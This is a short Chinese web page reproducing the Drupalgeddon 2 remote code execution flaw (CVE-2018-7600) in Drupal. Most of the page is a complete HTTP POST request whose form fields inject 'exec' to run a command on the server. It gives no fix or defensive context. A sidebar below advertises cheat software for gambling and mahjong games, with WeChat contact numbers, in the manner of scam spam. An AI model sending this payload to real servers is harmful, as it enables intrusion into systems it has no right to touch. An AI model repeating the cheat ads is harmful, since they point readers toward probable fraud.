Drupal Drupalgeddon 2远程执行代码漏洞（
admin
2023-01-30 12:00:06
0次
漏洞复现：
1.参考a2u / CVE-2018-7600，我们可以向drupal发送以下请求：
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
2.burp捉包
相关内容
热门资讯
重磅消息“鱼虾蟹控制器究竟有挂...
您好：鱼虾蟹控制器这款游戏可以开挂，确实是有挂的，需要了解加客服微信【9752949】很多玩家在这款...
今日重大消息“闲来贵州麻将是不...
家人们！今天小编来为大家解答闲来贵州麻将透视挂怎么安装这个问题咨询软件客服徽4282891的挂在哪里...
【今日要闻】“陕西欢喜开挂神器...
您好：陕西欢喜这款游戏可以开挂，确实是有挂的，需要了解加客服微信【9784099】很多玩家在这款游戏...
终于了解“天天爱泰州麻将怎么装...
您好：天天爱泰州麻将这款游戏可以开挂，确实是有挂的，需要了解加客服微信【9784099】很多玩家在这...
最新引进“毛豆大厅牛牛辅助器？...
最新引进“毛豆大厅牛牛辅助器？”(详细开挂教程)您好，毛豆大厅牛牛这个游戏其实有挂的，确实是有挂的，...
【第一资讯】“王子棋牌怎么开挂...
【第一资讯】“王子棋牌怎么开挂？”(详细开挂教程)您好，王子棋牌这个游戏其实有挂的，确实是有挂的，需...
最新引进“授权大厅炸/金/花怎...
有 亲，根据资深记者爆料授权大厅炸/金/花是可以开挂的，确实有挂（咨询软...
重磅消息“老友内蒙古麻将怎么开...
重磅消息“老友内蒙古麻将怎么开挂？”(确实真的有挂)您好，老友内蒙古麻将这个游戏其实有挂的，确实是有...
终于懂了“新天天游戏有没有挂？...
家人们！今天小编来为大家解答新天天游戏透视挂怎么安装这个问题咨询软件客服徽9752949的挂在哪里买...
玩家分享攻略“三鑫联盟到底有挂...
玩家分享攻略“三鑫联盟到底有挂吗？”(透视曝光猫腻)您好，三鑫联盟这个游戏其实有挂的，确实是有挂的，...